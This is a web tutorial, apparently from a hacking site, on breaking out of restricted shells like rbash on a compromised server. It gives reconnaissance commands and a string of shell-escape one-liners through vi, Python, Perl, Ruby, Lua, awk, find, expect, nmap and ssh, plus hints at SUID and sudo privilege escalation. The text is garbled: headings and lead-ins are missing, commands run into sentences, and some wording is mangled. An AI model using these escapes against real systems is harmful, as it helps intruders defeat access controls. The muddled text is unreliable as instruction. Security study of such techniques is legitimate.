The time comes when you finally open the shell on the web server you were working on, only to find yourself in an unfamiliar environment with limited functionality. Blocked shells are often used as an additional line of defense and can cause the attacker to stumble upon them. But with enough patience and persistence, it is possible to escape these restricted areas.
What Are Restricted Shells?
Four blocked shells are shells with restricted permissions, features, or commands. They are mainly used to ensure that users can perform the minimum tasks required for daily operation in a safe, content environment. Managers can also use them to ensure that they do not impose any dangerous orders by accident. In some cases, these restricted shells may be placed in a buffer zone.
The most common types of restricted shells are just ordinary shells with a limited range in place, such as rbash, rksh, and rzsh. Some types can be further customized to fit specific needs and tighten restrictions, such as lshell and rssh.
Environment Recon
The first step toward escaping the forbidden shell is to collect information about the environment. Some of the first basic commands to try are ls, cd, pwd, and echo. Most of the time, if these commands are blocked, an error will appear with the type of restricted Shell we are in (most of the time, this is rbash).
Next, try finding the list of available commands by double tapping the Tab key. We can also try to list the binaries in /bin, /usr/bin, and /usr/local/bin if ls exists. Alternatively, we can use globbing to list directory content when an echo is available, such as:
echo /usr/bin/*
It is also important to check for operators and escape characters such as the following:> >> < | & ; : ' " `
$(whoami)
${whoami}
We may view any files with SUID permissions and any instructions we may use with Sudo that will allow us to increase rights. Any programming languages available in the system have a good chance of allowing us to break the boundaries.Don't Miss: How to Hack Online Passwords Using THC Hydra and Temper Data
:!/bin/sh
:shell
:set shell=/bin/sh
Make sure you try different shells, too - sh or bash may be blocked, but zsh may not be. Most of the time this is protected, but you should try because it is an easy way to be exploited.!/bin/sh
!/bin/bash
!bash
The Linux man command is also prone to this type of escape since it uses less or more as default pagers.import os; os.system("/bin/sh")
exec("sh -i");
Perl :exec "/bin/sh";
Ruby :exec "/bin/sh"
Lua :os.execute("/bin/sh")
awk 'BEGIN {system("/bin/sh")}'
The find command can attempt to spawn a shell with the following command:find / -name foobar -exec /bin/sh \;
The expect command can spawn a shell using its own spawn function. First drop into expect by typing expect in the terminal. Then, type spawn sh, and finally sh. If successful, we'll now be in an interactive shell.echo "bash -i" | tee script.sh
Older versions of nmap have an interesting feature called interactive mode. It's rare to find this nowadays, but if you do come across it, it's easy to open an interactive shell with the following:nmap --interactive
nmap> !sh
Finally, if SSH access is available but drops you into a restricted shell, connecting with the following options can be used to escape:ssh user@IP -t "bash --noprofile"
ssh user@IP -t "/bin/sh"
0 Comments